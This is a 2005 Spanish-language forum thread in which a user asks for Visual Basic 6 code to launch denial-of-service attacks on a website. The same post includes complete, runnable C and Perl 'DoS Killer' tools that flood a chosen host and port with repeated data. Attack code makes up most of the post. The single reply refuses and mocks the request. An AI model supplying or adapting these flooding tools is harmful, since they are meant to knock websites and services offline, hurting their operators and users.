Foro de elhacker.net

Programación => Programación Visual Basic => Mensaje iniciado por: -sagitari- en 26 Septiembre 2005, 20:56 pm



Título: DoS Killer en VB6
Publicado por: -sagitari- en 26 Septiembre 2005, 20:56 pm
Bueno... con "DoS Killer" me refiero a una aplicación que hace DoS a una web determinada...
Siempre he tenido la intriga y curiosidad d hacerme una aplicación que haga DoS jejeje...
Pero siempre que busco por internet me lleva a links que ponen que delphi, perl, c es mejor que no vb y que tal y tal... pero no!! Yo busco en VB6
...

Me ha quedado MUY claro lo siguiente:

Citar
crear una matriz de sockets, y crear un bucle
e ir cargando cada socket y conectar a la web para realizar la
correspondiente petición

xD... pero no lo se poner en práctica... jejeje

Mirad, tengo los codes para hacer este tipo de programas, pero los tengo en C y perl, los posteo por si a alguien le interesa...


C
Código:
/*DoS Killer v2.0 - by Lympex

Prueba de concepto sobre conexiones de sockets en C.

Nota: Se le pueden añadir threads para realizar un ataque más fuerte.

Contacto: lympex[at]gmail[dot]com && http://l-bytes.tk
*/
#include <winsock.h>//sockets
#include <stdio.h>//i/o
#include <string.h>//strings

/*---*/
SOCKET s;/*el socket*/
/*estructuras*/
WSADATA wsa;
SOCKADDR_IN sin;
/*---*/

void main(int argc, char *argv[])
{
int Crea_Socket_Cliente(char *Ip, short int Puerto);//para crear el socket
char *HostIp(char *Host);//devuelve la Ip a partir del HOST

//para las repeticiones
unsigned int i,k;
//para el intervalo
unsigned int interval;
//para la información a enviar
char *buf;

if(argc!=6)
{
printf("\nDoS Killer v2.0 - by Lympex");
printf("\nPrueba de concepto de sockets en C");
printf("\n----------------------------------\n");
printf("\n[+] %s <host> <puerto> <string> <repeticiones> <intervalo(ms)>\n",argv[0]);
return;
}

/*cojemos los datos*/
i=atoi(argv[4]);
interval=atoi(argv[5]);

printf("\n[+] Creando la conexion...");
/*CREAMOS EL SOCKET*/
if(Crea_Socket_Cliente(HostIp(argv[1]),atoi(argv[2]))==1)
{
printf("\nError al crear el socket\n");
WSACleanup();
return;
}
printf("OK");

printf("\n[+] Conectando...");
/*CONECTAMOS SEGÚN LOS DATOS QUE NOS HAN DADO*/
if(connect(s,(LPSOCKADDR)&sin,sizeof(sin))==SOCKET_ERROR)
{
printf("\n[!] Error al conectar\n");

WSACleanup();
return;
}
printf("OK");

//creamos la string a enviar
buf=(char *) malloc(strlen(argv[3])*sizeof(char));
strcpy(buf,argv[3]);strcat(buf,"\n");

printf("\n[+] Realizando ataque DoS: ");
if(i==0)
{
for(;;)
{
if(send(s,buf,strlen(buf),0)==SOCKET_ERROR)
{
WSACleanup();
printf("OK\n");
return;
}else{
printf(".");
Sleep(interval);
}
}
}else{
//creamos el bucle para enviar los datos
for(k=0;k<i;k++)
{
if(send(s,buf,strlen(buf),0)==SOCKET_ERROR)
{
WSACleanup();
printf("OK\n");
return;
}else{
printf(".");
Sleep(interval);
}
}
}

printf("OK\n");

//salimos
WSACleanup();
return;
}

int Crea_Socket_Cliente(char *Ip, short int Puerto)
{
//iniciamos la librería socket
WSAStartup(MAKEWORD(1,1),&wsa);
//creamos el socket
s=socket(AF_INET,SOCK_STREAM,0);
if(s==INVALID_SOCKET)
{
return 1;
}

//asignamos los datos
sin.sin_family=AF_INET;
sin.sin_port=htons(Puerto);
sin.sin_addr.s_addr=inet_addr(Ip);

return 0;
}

/*FUNCIÓN QUE INDICA LA IP A PARTIR DEL HOST*/
char *HostIp(char *Host)
{
   WSADATA wsaData;
   struct hostent *Dire;

   /*creamos el socket y cogemos el hostname*/
   if(WSAStartup(MAKEWORD(1, 1), &wsaData)!=0 || (Dire=gethostbyname(Host))==NULL)
   {
   return NULL;
   }

   /*devolvemos la ip*/
   return inet_ntoa(*((struct in_addr *)Dire->h_addr));
}


PERL
Código:
#DoS Killer 1.0 - by Lympex
#
#Prueba de concepto de cómo realizar ataques DoS en Perl
#
#Contacto: lympex[at]gmail[dot]com && http://l-bytes.tk
#

if(@ARGV!=4)
{
print "\nDoS Killer 1.0 - by Lympex | http://l-bytes.tk";
print "\n----------------------------------------------\n";
print "\n[+] Uso: DoSKiller.pl <servidor> <puerto> <string> <veces>";
exit;
}

#los datos
my $host=@ARGV[0];
my $puerto=@ARGV[1];
my $cadena=@ARGV[2];
my $veces=@ARGV[3];
#el socket
use IO::Socket;

print "\nDoS Killer 1.0 - by Lympex | http://l-bytes.tk";
print "\n----------------------------------------------\n\n[+] Conectando...\n";

my $sock = new IO::Socket::INET (
                                 PeerAddr => "$host",
                                 PeerPort => "$puerto",
                                 Proto => "tcp",
                                );
die "[!] Error al conectar\n" unless $sock;

#creamos el bucle para enviar los datos

print "[+] Realizando ataque DoS...";

if($veces==0)
{
for(;;)
{
print $sock "$cadena\n";
print ".";
}
}else{
for($i=0;$i<$veces;$i++)
{
print $sock "$cadena\n";
print ".";
}
}

print "\n";
close($sock);
exit;

#http://l-bytes.tk


Ok... Bueno, si alguien me puede facilitar el source en VB para este tipo de aplicaciones para hacer DoS a una web...  Se lo agradecería mucho... Saludos...
Mientras tanto sigo "estudiando" el tema de los sockets


Título: Re: DoS Killer en VB6
Publicado por: Slasher-K en 27 Septiembre 2005, 00:18 am
Si vas a hacer lameradas te lo curras solo.